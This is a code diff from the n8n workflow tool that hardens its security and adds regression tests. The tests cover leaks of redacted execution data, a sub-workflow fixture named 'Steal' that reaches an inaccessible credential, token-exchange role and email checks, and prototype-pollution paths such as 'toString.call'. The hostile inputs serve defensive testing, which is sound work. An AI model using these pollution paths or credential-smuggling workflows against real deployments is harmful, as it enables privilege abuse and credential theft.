binary: { file: { mimeType: 'text/plain', fileName: 'x.txt', data: SENTINEL_BINARY } },
|
||||
};
|
||||
|
||||
// Search the whole serialized response — surface-agnostic, so it catches the
|
||||
// value regardless of which subtree (runData, stack, waiting) or encoding
|
||||
// (flatted string vs. nested object) it hides in.
|
||||
const exposesSentinel = (body: unknown): boolean => {
|
||||
const serialized = JSON.stringify(body);
|
||||
return serialized.includes(SENTINEL_JSON) || serialized.includes(SENTINEL_BINARY);
|
||||
};
|
||||
|
||||
test('REST GET /executions/:id', async () => {
|
||||
const workflow = await createWorkflow({}, owner);
|
||||
const execution = await createExecutionWithRedaction({
|
||||
workflow,
|
||||
mode: 'trigger',
|
||||
policy: 'all',
|
||||
item,
|
||||
withStack: true,
|
||||
});
|
||||
|
||||
const response = await testServer
|
||||
.authAgentFor(owner)
|
||||
.get(`/executions/${execution.id}`)
|
||||
.expect(200);
|
||||
|
||||
expect(exposesSentinel(response.body)).toBe(false);
|
||||
});
|
||||
|
||||
test('REST GET /workflows/:workflowId/executions/last-successful', async () => {
|
||||
const workflow = await createWorkflow({}, owner);
|
||||
await createExecutionWithRedaction({
|
||||
workflow,
|
||||
mode: 'trigger',
|
||||
policy: 'all',
|
||||
item,
|
||||
withStack: true,
|
||||
});
|
||||
|
||||
const response = await testServer
|
||||
.authAgentFor(owner)
|
||||
.get(`/workflows/${workflow.id}/executions/last-successful`)
|
||||
.expect(200);
|
||||
|
||||
expect(exposesSentinel(response.body)).toBe(false);
|
||||
});
|
||||
|
||||
test('Public API GET /api/v1/executions/:id', async () => {
|
||||
const workflow = await createWorkflow({}, publicApiOwner);
|
||||
const execution = await createExecutionWithRedaction({
|
||||
workflow,
|
||||
mode: 'trigger',
|
||||
policy: 'all',
|
||||
item,
|
||||
withStack: true,
|
||||
});
|
||||
|
||||
const response = await testServer
|
||||
.publicApiAgentFor(publicApiOwner)
|
||||
.get(`/executions/${execution.id}?includeData=true`)
|
||||
.expect(200);
|
||||
|
||||
expect(exposesSentinel(response.body)).toBe(false);
|
||||
});
|
||||
|
||||
test('Public API GET /api/v1/executions', async () => {
|
||||
const workflow = await createWorkflow({}, publicApiOwner);
|
||||
await createExecutionWithRedaction({
|
||||
workflow,
|
||||
mode: 'trigger',
|
||||
policy: 'all',
|
||||
item,
|
||||
withStack: true,
|
||||
});
|
||||
|
||||
const response = await testServer
|
||||
.publicApiAgentFor(publicApiOwner)
|
||||
.get('/executions?includeData=true')
|
||||
.expect(200);
|
||||
|
||||
expect(exposesSentinel(response.body)).toBe(false);
|
||||
});
|
||||
|
||||
// Guards against a vacuously-green canary: on the reveal path the value must
|
||||
// still be observable, proving the search would catch a real exposure.
|
||||
test('control: revealed (unredacted) response does expose the sentinel', async () => {
|
||||
const workflow = await createWorkflow({}, owner);
|
||||
const execution = await createExecutionWithRedaction({
|
||||
workflow,
|
||||
mode: 'trigger',
|
||||
policy: 'all',
|
||||
item,
|
||||
withStack: true,
|
||||
});
|
||||
|
||||
const response = await testServer
|
||||
.authAgentFor(owner)
|
||||
.get(`/executions/${execution.id}`)
|
||||
.query({ redactExecutionData: 'false' })
|
||||
.expect(200);
|
||||
|
||||
expect(exposesSentinel(response.body)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,5 +1,5 @@
|
|||
import { WorkflowEntity, WorkflowHistory } from '@n8n/db';
|
||||
import type { INode } from 'n8n-workflow';
|
||||
import { EXECUTE_WORKFLOW_NODE_TYPE, type INode } from 'n8n-workflow';
|
||||
|
||||
export const FIRST_CREDENTIAL_ID = '1';
|
||||
export const SECOND_CREDENTIAL_ID = '2';
|
||||
|
|
@ -8,6 +8,7 @@ export const THIRD_CREDENTIAL_ID = '3';
|
|||
const NODE_WITH_NO_CRED = '0133467b-df4a-473d-9295-fdd9d01fa45a';
|
||||
const NODE_WITH_ONE_CRED = '4673f869-f2dc-4a33-b053-ca3193bc5226';
|
||||
const NODE_WITH_TWO_CRED = '9b4208bd-8f10-4a6a-ad3b-da47a326f7da';
|
||||
const NODE_WITH_INLINE_SUBWORKFLOW_CRED = 'a1f8c2e0-1b2c-4d3e-9f0a-1234567890ab';
|
||||
|
||||
const nodeWithNoCredentials: INode = {
|
||||
id: NODE_WITH_NO_CRED,
|
||||
|
|
@ -53,10 +54,39 @@ const nodeWithTwoCredentials: INode = {
|
|||
parameters: {},
|
||||
};
|
||||
|
||||
// Execute Sub-workflow node whose inline `workflowJson` embeds a sub-workflow
|
||||
// referencing a credential (FIRST_CREDENTIAL_ID) that is not exposed via the
|
||||
// node's own top-level `credentials`.
|
||||
const nodeWithInlineSubworkflowCredential: INode = {
|
||||
id: NODE_WITH_INLINE_SUBWORKFLOW_CRED,
|
||||
name: 'Execute Sub-workflow',
|
||||
typeVersion: 1.2,
|
||||
type: EXECUTE_WORKFLOW_NODE_TYPE,
|
||||
position: [0, 0],
|
||||
parameters: {
|
||||
source: 'parameter',
|
||||
workflowJson: JSON.stringify({
|
||||
nodes: [
|
||||
{
|
||||
name: 'Steal',
|
||||
type: 'n8n-nodes-base.httpRequest',
|
||||
typeVersion: 4.2,
|
||||
parameters: {},
|
||||
credentials: {
|
||||
httpHeaderAuth: { id: FIRST_CREDENTIAL_ID, name: 'First fake credential' },
|
||||
},
|
||||
},
|
||||
],
|
||||
connections: {},
|
||||
}),
|
||||
},
|
||||
};
|
||||
|
||||
export function getWorkflow(options?: {
|
||||
addNodeWithoutCreds?: boolean;
|
||||
addNodeWithOneCred?: boolean;
|
||||
addNodeWithTwoCreds?: boolean;
|
||||
addNodeWithInlineSubworkflowCred?: boolean;
|
||||
}) {
|
||||
const workflow = new WorkflowEntity();
|
||||
|
||||
|
|
@ -74,6 +104,10 @@ export function getWorkflow(options?: {
|
|||
workflow.nodes.push(nodeWithTwoCredentials);
|
||||
}
|
||||
|
||||
if (options?.addNodeWithInlineSubworkflowCred) {
|
||||
workflow.nodes.push(nodeWithInlineSubworkflowCredential);
|
||||
}
|
||||
|
||||
return workflow;
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -62,6 +62,7 @@ function signEmbedToken(overrides: Record<string, unknown> = {}): string {
|
|||
exp: now + 30,
|
||||
jti: randomUUID(),
|
||||
email: `embed-${randomUUID()}@test.example.com`,
|
||||
email_verified: true,
|
||||
given_name: 'Test',
|
||||
family_name: 'User',
|
||||
...overrides,
|
||||
|
|
|
|||
|
|
@ -14,6 +14,7 @@ import {
|
|||
qualifiedProviderId,
|
||||
} from '@/modules/token-exchange/services/identity-resolution.service';
|
||||
import { TrustedKeyService } from '@/modules/token-exchange/services/trusted-key.service';
|
||||
import { TokenExchangeConfig } from '@/modules/token-exchange/token-exchange.config';
|
||||
import type { ExternalTokenClaims } from '@/modules/token-exchange/token-exchange.schemas';
|
||||
|
||||
import { createOwner, createUser } from '../shared/db/users';
|
||||
|
|
@ -63,6 +64,11 @@ const baseClaims: ExternalTokenClaims = {
|
|||
/** The issuer-scoped provider id a token-exchange identity is stored under. */
|
||||
const providerIdFor = (sub: string, iss: string = baseClaims.iss) => qualifiedProviderId(iss, sub);
|
||||
|
||||
/** Key context passed to resolve(); requireVerifiedEmail defaults off for these tests. */
|
||||
function ctx(requireVerifiedEmail = false) {
|
||||
return { kid: 'kid-1', issuer: baseClaims.iss, requireVerifiedEmail };
|
||||
}
|
||||
|
||||
describe('IdentityResolutionService (integration)', () => {
|
||||
describe('Path 1 — known sub', () => {
|
||||
it('should resolve user by auth identity and return role with scopes', async () => {
|
||||
|
|
@ -71,11 +77,15 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
AuthIdentity.create(user, providerIdFor('ext-known'), 'token-exchange'),
|
||||
);
|
||||
|
||||
const result = await service.resolve({
|
||||
...baseClaims,
|
||||
sub: 'ext-known',
|
||||
email: 'known@example.com',
|
||||
});
|
||||
const result = await service.resolve(
|
||||
{
|
||||
...baseClaims,
|
||||
sub: 'ext-known',
|
||||
email: 'known@example.com',
|
||||
},
|
||||
undefined,
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.id).toBe(user.id);
|
||||
expect(result.email).toBe('known@example.com');
|
||||
|
|
@ -94,13 +104,17 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
AuthIdentity.create(user, providerIdFor('ext-unchanged'), 'token-exchange'),
|
||||
);
|
||||
|
||||
const result = await service.resolve({
|
||||
...baseClaims,
|
||||
sub: 'ext-unchanged',
|
||||
email: 'unchanged@example.com',
|
||||
given_name: 'Same',
|
||||
family_name: 'Name',
|
||||
});
|
||||
const result = await service.resolve(
|
||||
{
|
||||
...baseClaims,
|
||||
sub: 'ext-unchanged',
|
||||
email: 'unchanged@example.com',
|
||||
given_name: 'Same',
|
||||
family_name: 'Name',
|
||||
},
|
||||
undefined,
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.id).toBe(user.id);
|
||||
|
||||
|
|
@ -120,12 +134,12 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
};
|
||||
|
||||
// First call: email fallback creates the identity link
|
||||
const result = await service.resolve(claims);
|
||||
const result = await service.resolve(claims, undefined, ctx());
|
||||
expect(result.id).toBe(user.id);
|
||||
|
||||
// Second call: should now resolve via Path 1 (known sub),
|
||||
// proving the identity was correctly linked to the user
|
||||
const secondResult = await service.resolve(claims);
|
||||
const secondResult = await service.resolve(claims, undefined, ctx());
|
||||
expect(secondResult.id).toBe(user.id);
|
||||
expect(secondResult.role).toBeDefined();
|
||||
expect(secondResult.role.slug).toBe('global:member');
|
||||
|
|
@ -141,7 +155,8 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
email: 'fallback-role@example.com',
|
||||
role: 'global:admin',
|
||||
},
|
||||
['global:admin'],
|
||||
['global:member', 'global:admin'],
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.id).toBe(user.id);
|
||||
|
|
@ -157,11 +172,15 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
it('should match existing user when email claim has different casing', async () => {
|
||||
const user = await createUser({ email: 'casetest@example.com' });
|
||||
|
||||
const result = await service.resolve({
|
||||
...baseClaims,
|
||||
sub: 'ext-case',
|
||||
email: 'CaseTest@Example.COM',
|
||||
});
|
||||
const result = await service.resolve(
|
||||
{
|
||||
...baseClaims,
|
||||
sub: 'ext-case',
|
||||
email: 'CaseTest@Example.COM',
|
||||
},
|
||||
undefined,
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.id).toBe(user.id);
|
||||
|
||||
|
|
@ -183,7 +202,7 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
family_name: 'Tee',
|
||||
};
|
||||
|
||||
const result = await service.resolve(claims);
|
||||
const result = await service.resolve(claims, undefined, ctx());
|
||||
|
||||
expect(result.email).toBe('jit@example.com');
|
||||
expect(result.firstName).toBe('Jay');
|
||||
|
|
@ -225,6 +244,7 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
service.resolve(
|
||||
{ ...baseClaims, sub: 'ext-rejected', email: 'rejected@example.com', role },
|
||||
allowedRoles,
|
||||
ctx(),
|
||||
),
|
||||
).rejects.toThrow(errorMsg);
|
||||
});
|
||||
|
|
@ -232,19 +252,23 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
it('should throw when email is missing and no identity match exists', async () => {
|
||||
const claimsWithoutEmail = { ...baseClaims, sub: 'ext-no-email', email: undefined };
|
||||
|
||||
await expect(service.resolve(claimsWithoutEmail)).rejects.toThrow(
|
||||
await expect(service.resolve(claimsWithoutEmail, undefined, ctx())).rejects.toThrow(
|
||||
'Email claim is required for user provisioning',
|
||||
);
|
||||
});
|
||||
|
||||
it('should throw on unknown role claim for new user', async () => {
|
||||
await expect(
|
||||
service.resolve({
|
||||
...baseClaims,
|
||||
sub: 'ext-jit-unknown-role',
|
||||
email: 'jit-unknown-role@example.com',
|
||||
role: 'global:nonsense',
|
||||
}),
|
||||
service.resolve(
|
||||
{
|
||||
...baseClaims,
|
||||
sub: 'ext-jit-unknown-role',
|
||||
email: 'jit-unknown-role@example.com',
|
||||
role: 'global:nonsense',
|
||||
},
|
||||
undefined,
|
||||
ctx(),
|
||||
),
|
||||
).rejects.toThrow("Unrecognized role 'global:nonsense' cannot be assigned to new user");
|
||||
});
|
||||
|
||||
|
|
@ -257,6 +281,7 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
role: 'global:admin',
|
||||
},
|
||||
['global:admin', 'global:member'],
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.role.slug).toBe('global:admin');
|
||||
|
|
@ -270,33 +295,31 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
});
|
||||
|
||||
describe('profile and role sync', () => {
|
||||
it('should allow global:owner user to log in without changing their role', async () => {
|
||||
it('rejects a global:owner user by default (excludeOwner)', async () => {
|
||||
Container.get(TokenExchangeConfig).excludeOwner = true;
|
||||
const owner = await createOwner();
|
||||
await authIdentityRepository.save(
|
||||
AuthIdentity.create(owner, providerIdFor('ext-owner'), 'token-exchange'),
|
||||
);
|
||||
|
||||
const result = await service.resolve({
|
||||
...baseClaims,
|
||||
sub: 'ext-owner',
|
||||
email: owner.email,
|
||||
role: 'global:owner',
|
||||
});
|
||||
|
||||
expect(result.id).toBe(owner.id);
|
||||
expect(result.role.slug).toBe('global:owner');
|
||||
|
||||
const dbUser = await userRepository.findOne({
|
||||
where: { id: owner.id },
|
||||
relations: ['role'],
|
||||
});
|
||||
expect(dbUser!.role.slug).toBe('global:owner');
|
||||
await expect(
|
||||
service.resolve(
|
||||
{
|
||||
...baseClaims,
|
||||
sub: 'ext-owner',
|
||||
email: owner.email,
|
||||
role: 'global:owner',
|
||||
},
|
||||
undefined,
|
||||
ctx(),
|
||||
),
|
||||
).rejects.toThrow('User role is not allowed for this key');
|
||||
});
|
||||
|
||||
it('should throw when claimed role is not in allowedRoles for known identity', async () => {
|
||||
const admin = await createUser({ email: 'admin-keep@example.com', role: GLOBAL_ADMIN_ROLE });
|
||||
const user = await createUser({ email: 'admin-keep@example.com' });
|
||||
await authIdentityRepository.save(
|
||||
AuthIdentity.create(admin, providerIdFor('ext-admin-keep'), 'token-exchange'),
|
||||
AuthIdentity.create(user, providerIdFor('ext-admin-keep'), 'token-exchange'),
|
||||
);
|
||||
|
||||
await expect(
|
||||
|
|
@ -308,12 +331,13 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
role: 'global:admin',
|
||||
},
|
||||
['global:member'],
|
||||
ctx(),
|
||||
),
|
||||
).rejects.toThrow("Role 'global:admin' is not allowed for this token exchange key");
|
||||
});
|
||||
|
||||
it('should throw when claimed role is not in allowedRoles for email fallback', async () => {
|
||||
await createUser({ email: 'admin-email@example.com', role: GLOBAL_ADMIN_ROLE });
|
||||
await createUser({ email: 'admin-email@example.com' });
|
||||
|
||||
await expect(
|
||||
service.resolve(
|
||||
|
|
@ -324,6 +348,7 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
role: 'global:admin',
|
||||
},
|
||||
['global:member'],
|
||||
ctx(),
|
||||
),
|
||||
).rejects.toThrow("Role 'global:admin' is not allowed for this token exchange key");
|
||||
|
||||
|
|
@ -340,12 +365,16 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
AuthIdentity.create(user, providerIdFor('ext-unknown-role'), 'token-exchange'),
|
||||
);
|
||||
|
||||
const result = await service.resolve({
|
||||
...baseClaims,
|
||||
sub: 'ext-unknown-role',
|
||||
email: 'unknown-role@example.com',
|
||||
role: 'global:nonsense',
|
||||
});
|
||||
const result = await service.resolve(
|
||||
{
|
||||
...baseClaims,
|
||||
sub: 'ext-unknown-role',
|
||||
email: 'unknown-role@example.com',
|
||||
role: 'global:nonsense',
|
||||
},
|
||||
undefined,
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.id).toBe(user.id);
|
||||
expect(result.role.slug).toBe('global:member');
|
||||
|
|
@ -357,12 +386,16 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
AuthIdentity.create(user, providerIdFor('ext-escalation'), 'token-exchange'),
|
||||
);
|
||||
|
||||
const result = await service.resolve({
|
||||
...baseClaims,
|
||||
sub: 'ext-escalation',
|
||||
email: 'escalation@example.com',
|
||||
role: 'global:owner',
|
||||
});
|
||||
const result = await service.resolve(
|
||||
{
|
||||
...baseClaims,
|
||||
sub: 'ext-escalation',
|
||||
email: 'escalation@example.com',
|
||||
role: 'global:owner',
|
||||
},
|
||||
undefined,
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.id).toBe(user.id);
|
||||
expect(result.role.slug).toBe('global:member');
|
||||
|
|
@ -385,6 +418,7 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
role: 'global:member',
|
||||
},
|
||||
['global:admin', 'global:member'],
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.id).toBe(admin.id);
|
||||
|
|
@ -416,7 +450,8 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
family_name: 'Last',
|
||||
role: 'global:admin',
|
||||
},
|
||||
['global:admin'],
|
||||
['global:member', 'global:admin'],
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.firstName).toBe('New');
|
||||
|
|
@ -440,18 +475,26 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
const issuerA = 'https://issuer-a.example.com';
|
||||
const issuerB = 'https://issuer-b.example.com';
|
||||
|
||||
const userA = await service.resolve({
|
||||
...baseClaims,
|
||||
sub: sharedSub,
|
||||
iss: issuerA,
|
||||
email: 'a@example.com',
|
||||
});
|
||||
const userB = await service.resolve({
|
||||
...baseClaims,
|
||||
sub: sharedSub,
|
||||
iss: issuerB,
|
||||
email: 'b@example.com',
|
||||
});
|
||||
const userA = await service.resolve(
|
||||
{
|
||||
...baseClaims,
|
||||
sub: sharedSub,
|
||||
iss: issuerA,
|
||||
email: 'a@example.com',
|
||||
},
|
||||
undefined,
|
||||
ctx(),
|
||||
);
|
||||
const userB = await service.resolve(
|
||||
{
|
||||
...baseClaims,
|
||||
sub: sharedSub,
|
||||
iss: issuerB,
|
||||
email: 'b@example.com',
|
||||
},
|
||||
undefined,
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(userB.id).not.toBe(userA.id);
|
||||
|
||||
|
|
@ -470,7 +513,11 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
const emitSpy = vi.spyOn(eventService, 'emit');
|
||||
|
||||
// No email claim — the rebind must work for email-less integrations.
|
||||
const result = await service.resolve({ ...baseClaims, sub: 'legacy-sub', email: undefined });
|
||||
const result = await service.resolve(
|
||||
{ ...baseClaims, sub: 'legacy-sub', email: undefined },
|
||||
undefined,
|
||||
ctx(),
|
||||
);
|
||||
|
||||
expect(result.id).toBe(user.id);
|
||||
|
||||
|
|
@ -493,7 +540,11 @@ describe('IdentityResolutionService (integration)', () => {
|
|||
|
||||
// An email-less token sharing a subject cannot be safely attributed to one issuer.
|
||||
await expect(
|
||||
service.resolve({ ...baseClaims, sub: 'legacy-multi-sub', email: undefined }),
|
||||
service.resolve(
|
||||
{ ...baseClaims, sub: 'legacy-multi-sub', email: undefined },
|
||||
undefined,
|
||||
ctx(),
|
||||
),
|
||||
).rejects.toThrow('Email claim is required for user provisioning');
|
||||
|
||||
const identities = await authIdentityRepository.findBy({ providerType: 'token-exchange' });
|
||||
|
|
|
|||
|
|
@ -43,6 +43,7 @@ function makeExternalJwt(
|
|||
exp: number;
|
||||
jti: string;
|
||||
email: string;
|
||||
email_verified: boolean;
|
||||
given_name: string;
|
||||
family_name: string;
|
||||
role: string;
|
||||
|
|
@ -58,6 +59,7 @@ function makeExternalJwt(
|
|||
iat: now,
|
||||
exp: now + 300,
|
||||
jti: randomUUID(),
|
||||
email_verified: true,
|
||||
...overrides,
|
||||
},
|
||||
privateKey,
|
||||
|
|
|
|||
|
|
@ -108,6 +108,14 @@ describe('EnterpriseWorkflowService', () => {
|
|||
service.validateWorkflowCredentialUsage(newWorkflowVersion, previousWorkflowVersion, []);
|
||||
}).toThrow();
|
||||
});
|
||||
|
||||
it('Should throw error saving a workflow adding an Execute Sub-workflow node whose inline JSON uses an inaccessible credential', () => {
|
||||
const newWorkflowVersion = getWorkflow({ addNodeWithInlineSubworkflowCred: true });
|
||||
const previousWorkflowVersion = getWorkflow();
|
||||
expect(() => {
|
||||
service.validateWorkflowCredentialUsage(newWorkflowVersion, previousWorkflowVersion, []);
|
||||
}).toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe('getNodesWithInaccessibleCreds', () => {
|
||||
|
|
@ -188,5 +196,19 @@ describe('EnterpriseWorkflowService', () => {
|
|||
const nodesWithInaccessibleCreds = service.getNodesWithInaccessibleCreds(workflow, []);
|
||||
expect(nodesWithInaccessibleCreds).toHaveLength(2);
|
||||
});
|
||||
|
||||
test('Should flag an Execute Sub-workflow node referencing an inaccessible credential inside its inline workflow JSON', () => {
|
||||
const workflow = getWorkflow({ addNodeWithInlineSubworkflowCred: true });
|
||||
const nodesWithInaccessibleCreds = service.getNodesWithInaccessibleCreds(workflow, []);
|
||||
expect(nodesWithInaccessibleCreds).toHaveLength(1);
|
||||
});
|
||||
|
||||
test('Should not flag an Execute Sub-workflow node when the inline credential is accessible', () => {
|
||||
const workflow = getWorkflow({ addNodeWithInlineSubworkflowCred: true });
|
||||
const nodesWithInaccessibleCreds = service.getNodesWithInaccessibleCreds(workflow, [
|
||||
FIRST_CREDENTIAL_ID,
|
||||
]);
|
||||
expect(nodesWithInaccessibleCreds).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -779,6 +779,78 @@ describe('RoutingNode', () => {
|
|||
expect(result).toEqual(testData.output);
|
||||
});
|
||||
}
|
||||
|
||||
describe('when a routed property name is an inherited object member', () => {
|
||||
// Guard the shared prototype so a regression here cannot cascade to other tests.
|
||||
const hadOwnCall = Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call');
|
||||
afterEach(() => {
|
||||
if (!hadOwnCall) {
|
||||
delete (Object.prototype.toString as unknown as { call?: unknown }).call;
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps built-in object prototypes intact', () => {
|
||||
const nodeTypeProperties: INodeProperties = {
|
||||
displayName: 'Value',
|
||||
name: 'value',
|
||||
type: 'string',
|
||||
routing: {
|
||||
send: {
|
||||
property: 'toString.call',
|
||||
type: 'body',
|
||||
value: 'x',
|
||||
},
|
||||
},
|
||||
default: '',
|
||||
};
|
||||
node.parameters = {};
|
||||
nodeType.description.properties = [nodeTypeProperties];
|
||||
|
||||
const workflow = new Workflow({
|
||||
nodes: workflowData.nodes,
|
||||
connections: workflowData.connections,
|
||||
active: false,
|
||||
nodeTypes,
|
||||
});
|
||||
|
||||
const executeFunctions = mock<executionContexts.ExecuteContext>();
|
||||
Object.assign(executeFunctions, {
|
||||
runIndex,
|
||||
additionalData,
|
||||
workflow,
|
||||
node,
|
||||
mode,
|
||||
connectionInputData,
|
||||
runExecutionData,
|
||||
nodeType,
|
||||
});
|
||||
const routingNode = new RoutingNode(executeFunctions, nodeType);
|
||||
|
||||
const executeSingleFunctions = getExecuteSingleFunctions(
|
||||
workflow,
|
||||
runExecutionData,
|
||||
runIndex,
|
||||
node,
|
||||
itemIndex,
|
||||
);
|
||||
|
||||
const result = routingNode.getRequestOptionsFromParameters(
|
||||
executeSingleFunctions,
|
||||
nodeTypeProperties,
|
||||
itemIndex,
|
||||
runIndex,
|
||||
path,
|
||||
{},
|
||||
);
|
||||
|
||||
// Prototype untouched; the value lands as an own property on the request body.
|
||||
expect(Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call')).toBe(false);
|
||||
expect(Object.prototype.toString.call([])).toBe('[object Array]');
|
||||
expect((result?.options.body as { toString?: { call?: unknown } }).toString?.call).toBe(
|
||||
'x',
|
||||
);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('runNode', () => {
|
||||
|
|
|
|||
|
|
@ -1,4 +1,5 @@
|
|||
import { describe, it, expect } from 'vitest';
|
||||
import { describe, it, expect, afterEach } from 'vitest';
|
||||
import type { INodeParameters } from 'n8n-workflow';
|
||||
import { setParameterValue } from './parameterUtils';
|
||||
|
||||
describe('parameterUtils', () => {
|
||||
|
|
@ -62,4 +63,38 @@ describe('parameterUtils', () => {
|
|||
expect(target).toEqual({ foo: 'bar' });
|
||||
});
|
||||
});
|
||||
|
||||
describe('dot-notation paths that name inherited members', () => {
|
||||
// Guard the shared prototype so a regression in one test cannot cascade to others.
|
||||
const hadOwnCall = Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call');
|
||||
|
||||
afterEach(() => {
|
||||
if (!hadOwnCall) {
|
||||
delete (Object.prototype.toString as unknown as { call?: unknown }).call;
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps built-in object prototypes intact for a top-level inherited key', () => {
|
||||
const target: INodeParameters = {};
|
||||
|
||||
setParameterValue(target, 'toString.call', 'x');
|
||||
|
||||
// The shared prototype member must be untouched.
|
||||
expect(Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call')).toBe(false);
|
||||
expect(Object.prototype.toString.call([])).toBe('[object Array]');
|
||||
// The value lands as a plain own property on the target instead.
|
||||
expect(Object.prototype.hasOwnProperty.call(target, 'toString')).toBe(true);
|
||||
expect((target as { toString: { call: unknown } }).toString.call).toBe('x');
|
||||
});
|
||||
|
||||
it('keeps built-in object prototypes intact for a nested inherited key', () => {
|
||||
const target: INodeParameters = {};
|
||||
|
||||
setParameterValue(target, 'a.toString.call', 'y');
|
||||
|
||||
expect(Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call')).toBe(false);
|
||||
expect(Object.prototype.toString.call({})).toBe('[object Object]');
|
||||
expect((target as { a: { toString: { call: unknown } } }).a.toString.call).toBe('y');
|
||||
});
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
import { describe, it, expect, afterAll } from 'vitest';
|
||||
import { describe, it, expect, afterAll, afterEach } from 'vitest';
|
||||
import { mock } from 'vitest-mock-extended';
|
||||
import type {
|
||||
IConnections,
|
||||
|
|
@ -775,3 +775,39 @@ describe('setValue', () => {
|
|||
expect(nodeValues.value.customTelemetryTags).toEqual({});
|
||||
});
|
||||
});
|
||||
|
||||
describe('setValue with dot-notation paths that name inherited members', () => {
|
||||
// Guard the shared prototype so a regression in one test cannot cascade to others.
|
||||
const hadOwnCall = Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call');
|
||||
|
||||
afterEach(() => {
|
||||
if (!hadOwnCall) {
|
||||
delete (Object.prototype.toString as unknown as { call?: unknown }).call;
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps built-in object prototypes intact when a path names an inherited member', () => {
|
||||
const nodeValues: Ref<INodeParameters> = ref({ parameters: {} });
|
||||
|
||||
setValue(nodeValues, 'parameters.toString.call', 'x');
|
||||
|
||||
expect(Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call')).toBe(false);
|
||||
expect(Object.prototype.toString.call([])).toBe('[object Array]');
|
||||
// The value lands as a plain own property on the parameters object.
|
||||
expect((nodeValues.value.parameters as { toString?: { call?: unknown } }).toString?.call).toBe(
|
||||
'x',
|
||||
);
|
||||
});
|
||||
|
||||
it('keeps built-in object prototypes intact for a nested inherited key', () => {
|
||||
const nodeValues: Ref<INodeParameters> = ref({ parameters: {} });
|
||||
|
||||
setValue(nodeValues, 'parameters.a.toString.call', 'y');
|
||||
|
||||
expect(Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call')).toBe(false);
|
||||
expect(Object.prototype.toString.call({})).toBe('[object Object]');
|
||||
expect(
|
||||
(nodeValues.value.parameters as { a?: { toString?: { call?: unknown } } }).a?.toString?.call,
|
||||
).toBe('y');
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -116,20 +116,13 @@ export function setValue(
|
|||
}
|
||||
}
|
||||
} else {
|
||||
// Value should be set
|
||||
if (typeof value === 'object') {
|
||||
set(
|
||||
get(nodeValues.value, nameParts.join('.')) as Record<string, unknown>,
|
||||
lastNamePart as string,
|
||||
deepCopy(value),
|
||||
);
|
||||
} else {
|
||||
set(
|
||||
get(nodeValues.value, nameParts.join('.')) as Record<string, unknown>,
|
||||
lastNamePart as string,
|
||||
value,
|
||||
);
|
||||
}
|
||||
// Value should be set. Write from the root via the full path so the setter
|
||||
// builds own-property intermediates rather than reading an inherited member
|
||||
// of an object along the path.
|
||||
const fullPath = isArray
|
||||
? `${nameParts.join('.')}[${lastNamePart}]`
|
||||
: `${nameParts.join('.')}.${lastNamePart}`;
|
||||
set(nodeValues.value, fullPath, typeof value === 'object' ? deepCopy(value) : value);
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -6,6 +6,7 @@ import type {
|
|||
IDataObject,
|
||||
IExecuteFunctions,
|
||||
ILoadOptionsFunctions,
|
||||
INode,
|
||||
INodeExecutionData,
|
||||
INodeProperties,
|
||||
INodePropertyOptions,
|
||||
|
|
@ -24,6 +25,19 @@ type EditImageNodeOptions = {
|
|||
quality?: number;
|
||||
};
|
||||
|
||||
const VALID_IMAGE_FORMATS = new Set(['bmp', 'gif', 'jpeg', 'png', 'tiff', 'tif', 'webp']);
|
||||
|
||||
function validateImageFormat(format: unknown, node: INode): string {
|
||||
if (typeof format === 'string' && VALID_IMAGE_FORMATS.has(format)) {
|
||||
return format;
|
||||
}
|
||||
|
||||
throw new NodeOperationError(
|
||||
node,
|
||||
`Invalid image format: ${format}. Valid formats are: ${Array.from(VALID_IMAGE_FORMATS).join(', ')}`,
|
||||
);
|
||||
}
|
||||
|
||||
const nodeOperations: INodePropertyOptions[] = [
|
||||
{
|
||||
name: 'Blur',
|
||||
|
|
@ -1297,7 +1311,8 @@ export class EditImage implements INodeType {
|
